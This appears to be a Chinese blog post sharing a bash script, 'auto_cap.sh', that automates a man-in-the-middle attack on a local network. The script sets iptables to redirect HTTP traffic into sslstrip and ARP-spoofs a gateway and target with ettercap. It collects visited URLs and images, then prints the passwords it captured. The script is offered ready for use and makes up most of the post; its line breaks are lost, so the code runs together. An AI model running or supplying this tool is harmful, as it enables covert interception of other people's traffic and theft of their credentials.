这几天折腾MITM***,反复输入同样的命令很烦人,参照国外论坛一个脚本,结合自己的习惯修改了一下,将几个常用命令写到一个文件里,实现相对自动的操作。

脚本很简单,简单说一下功能,内容就不多注释了。

1)设置监听网卡、端口、目标IP;

2)设置tcpxtract、driftnet、urlsnarf等辅助工具的启用;

3)自动运行sslstrip和ettercap,并输出数据到/tmp/(用户定义)目录中供后期分析;

4)监听结束后调用etterlog显示数据,并调用wireshark进行抓包分析;

5)简单的输入判定;

6)可以在命令行中输入一组或两组IP,重复运行时可通过bash log获取上次输入,不用每次运行都要重复输入IP。(更新)

#!/bin/bashecho ""echo "============================================="echo "  ___  _   _ _____  ___      ____  ___   ___ "echo " |___| |   |   |   |   |     |    |___| |___]"echo " |   | |___|   |   |___| ___ |___ |   | |    "echo ""echo "                              0.2  2014-2-21 "echo "                            |t|a|n|k|a|i|h|a|"echo ""echo "usage: auto_cap.sh  [gatewayIP]  [hostIP]"echo ""echo "============================================="echo ""while [ -z $DIRNAME ]do  read -p "1)设置保存名称,所有数据将保存在/tmp/\"输入名称\"/目录中(重复目录强制删除):" DIRNAMEdoneif [ "$1" != "" ] ; then  GATEWAY=$1  echo -e "\n2)网关地址已设置为:$GATEWAY"else  echo "";read -p "2)请设置网关地址(默认为192.168.1.1):" GATEWAYfiif [ "$2" != "" ] ; then  TARGET=$2  echo -e "\n3)监听IP地址已设置为:$TARGET"else  echo "";read -p "3)请设置需要监听的IP地址,什么都不输入时全部监听:" TARGETfiecho "";read -p "4)是否使用tcpxtract自动导出图片文件(有时时间较长,默认n)[y..n]:" XTRACTecho "";read -p "5)是否使用driftnet实时查看图片(默认y)[y..n]:" DRIFTecho "";read -p "6)是否使用urlsnarf导出所有网站地址到txt文件(默认y)[y..n]:" SNARFecho -e "\n本机可用网络设备如下:"ifconfig | cut -d " " -f 1 |awk '$1 ~ /[^ ]/ {print $1}'while [ -z $IFACE ]do  read -p "7)设置监听设备(不能为空):" IFACEdoneecho "";read -p "8)设置监听端口(默认10000):" SNIFFPORTif [ -z $SNIFFPORT ];then  SNIFFPORT=10000firm -rf /tmp/$DIRNAME/mkdir /tmp/$DIRNAME/iptables --flushiptables --table nat --flushiptables --delete-chainiptables --table nat --delete-chainiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SNIFFPORTsslstrip -pkf -l $SNIFFPORT -w /tmp/$DIRNAME/$DIRNAME.log 2>/dev/null &if [ "$SNARF" == "y" ] || [ -z $SNARF ] ; then  urlsnarf -i $IFACE | grep http > /tmp/$DIRNAME/$DIRNAME.txt &fiif [ "$DRIFT" == "y" ] ||  [ -z $DRIFT ] ; then  driftnet -i $IFACE &fiecho -e "\n下面开始监听,按q键退出"                                            if [ ${#GATEWAY} -eq 0 ];then  GATEWAY="192.168.1.1"fiettercap -Tq -i $IFACE -w /tmp/$DIRNAME/$DIRNAME.pcap -L /tmp/$DIRNAME/$DIRNAME -M arp:remote /$GATEWAY/ /$TARGET/killall sslstripkillall pythonkillall urlsnarfkillall driftnetiptables --flushiptables --table nat --flushiptables --delete-chainiptables --table nat --delete-chainecho -e "监听结束,下面进行后处理...\n"if [ "$XTRACT" == "y" ];then echo -e "tcpxtract正在导出图片...\n" tcpxtract -f /tmp/$DIRNAME/$DIRNAME.pcap -o /tmp/$DIRNAME/ &fiecho -e "\n\n================================"echo -e "ettercap嗅探到的密码如下:"etterlog -p -i /tmp/$DIRNAME/$DIRNAME.eciread -p "是否用wireshark分析?(默认n):" SHARKif [ "$SHARK" == "y" ];then  wireshark /tmp/$DIRNAME/$DIRNAME.pcap &fiecho -e "\n程序退出...\n"

附上我参照材料的网址: